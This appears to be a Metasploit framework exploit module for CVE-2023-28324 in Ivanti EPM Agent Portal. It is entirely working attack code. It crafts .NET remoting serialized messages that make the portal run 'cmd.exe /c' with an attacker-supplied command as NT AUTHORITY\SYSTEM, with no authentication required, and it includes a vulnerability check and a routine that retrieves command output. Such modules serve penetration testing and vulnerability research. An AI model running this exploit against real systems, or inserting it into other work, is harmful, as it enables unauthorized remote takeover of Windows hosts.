# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-frameworkrequire 'rex/proto/ms_nrtp/client'
class MetasploitModule < Msf::Exploit::Remote
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::Tcp
Rank = ExcellentRanking
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ivanti EPM Agent Portal Command Execution',
'Description' => %q{
This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method
which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM.
This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2.
},
'Author' => [
'James Horseman', # original poc
'Zach Hanley', # original poc
'Spencer McIntyre' # metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-28324'],
['URL', 'https://forums.ivanti.com/s/article/SA-2023-06-06-CVE-2023-28324?language=en_US'],
['URL', 'https://github.com/horizon3ai/CVE-2023-28324'],
],
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Targets' => [
[ 'Automatic', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-06-07', # Ivanti article created date
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options([
Opt::RPORT(nil, true, 'The target port is not static. For more info, see this module\'s Verifications Steps in the docs.'),
])
deregister_options('SSL')
end
def check
cwd = execute_command('echo %cd%', 0)
return CheckCode::Safe('Command execution failed.') unless cwd.to_s =~ /.:\\Windows\\System32/i
CheckCode::Vulnerable("Command execution test succeeded. Current working directory: #{cwd}")
rescue Rex::SocketError => e
CheckCode::Safe("MS-NRTP connection failed. #{e.class}: #{e.message}")
end
def exploit
execute_command(payload.raw)
end
def execute_command(command, result_delay = -1)
if @nrtp_client.nil?
@nrtp_client = client = IAgentPortal.new(
datastore['RHOST'],
datastore['RPORT'],
'LANDeskAgentPortal/LDSM',
context: { 'Msf' => framework, 'MsfExploit' => self }
)
client.connect
vprint_status('Connected to the remote end point')
else
client = @nrtp_client
end
client.do_request(command)
return nil unless result_delay >= 0
sleep result_delay
client.do_get_result
end
end
class IAgentPortal < Rex::Proto::MsNrtp::Client
def recv_binary
Msf::Util::DotNetDeserialization::Types::SerializedStream.read(recv)
end
def send_recv_binary(serialized_stream)
send_binary(serialized_stream)
recv_binary
end
def do_request(shell_command)
ss_response = send_recv_binary(ss_request(shell_command))
method_return = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodReturn] }
method_return.record_value.return_value.val.value
end
def do_get_result
ss_response = send_recv_binary(ss_get_result)
ass = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleString] }
return nil unless ass
ass.record_value.members.first.record_value.string.value
end
private
def ss_get_result
Msf::Util::DotNetDeserialization::Types::SerializedStream.new({
records: [
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { major_version: 1 } },
{
record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall],
record_value: {
message_enum: {
no_context: 1,
args_inline: 1
},
method_name: 'GetResult',
type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb',
args: [{ primitive_type_enum: Msf::Util::DotNetDeserialization::Enums::PrimitiveTypeEnum[:String], val: 'localhost' }]
}
},
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd] }
]
})
end
def ss_request(shell_command)
Msf::Util::DotNetDeserialization::Types::SerializedStream.new({
records: [
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { root_id: 1, header_id: -1, major_version: 1, minor_version: 0 } },
{
record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall],
record_value: {
message_enum: {
method_signature_in_array: 1,
no_context: 1,
args_in_array: 1
},
method_name: 'Request',
type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb'
}
},
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 1, member_count: 2 } } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 2 } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 3 } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 2, member_count: 4 } } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 4, string: 'localhost' } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 5 } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 6, string: 'cmd.exe' } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 7, string: "/c #{shell_command}" } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryArray], record_value: { obj_id: 3, binary_array_type_enum: 0, rank: 1, lengths: [4], type_enum: 3, additional_type_info: 'System.Type' } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 9 } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryLibrary], record_value: { library_id: 11, library_name: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } },
{
record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithMembersAndTypes],
record_value: {
class_info: { obj_id: 5, name: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum', member_count: 1, member_names: ['value__'] },
member_type_info: { binary_type_enums: [0], additional_infos: [8] },
library_id: 11,
member_values: [1]
}
},
{
record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SystemClassWithMembersAndTypes],
record_value: {
class_info: { obj_id: 8, name: 'System.UnitySerializationHolder', member_count: 3, member_names: ['Data', 'UnityType', 'AssemblyName'] },
member_type_info: { binary_type_enums: [1, 0, 1], additional_infos: [8] },
member_values: [{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 12, string: 'System.String' } }, 4, { record_type: 6, record_value: { obj_id: 13, string: 'mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' } }]
}
},
{
record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithId],
record_value: {
obj_id: 9,
metadata_id: 8,
member_values: [
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 14, string: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum' } },
4,
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 15, string: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } }
]
}
},
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd], record_value: {} }
]
})
end
end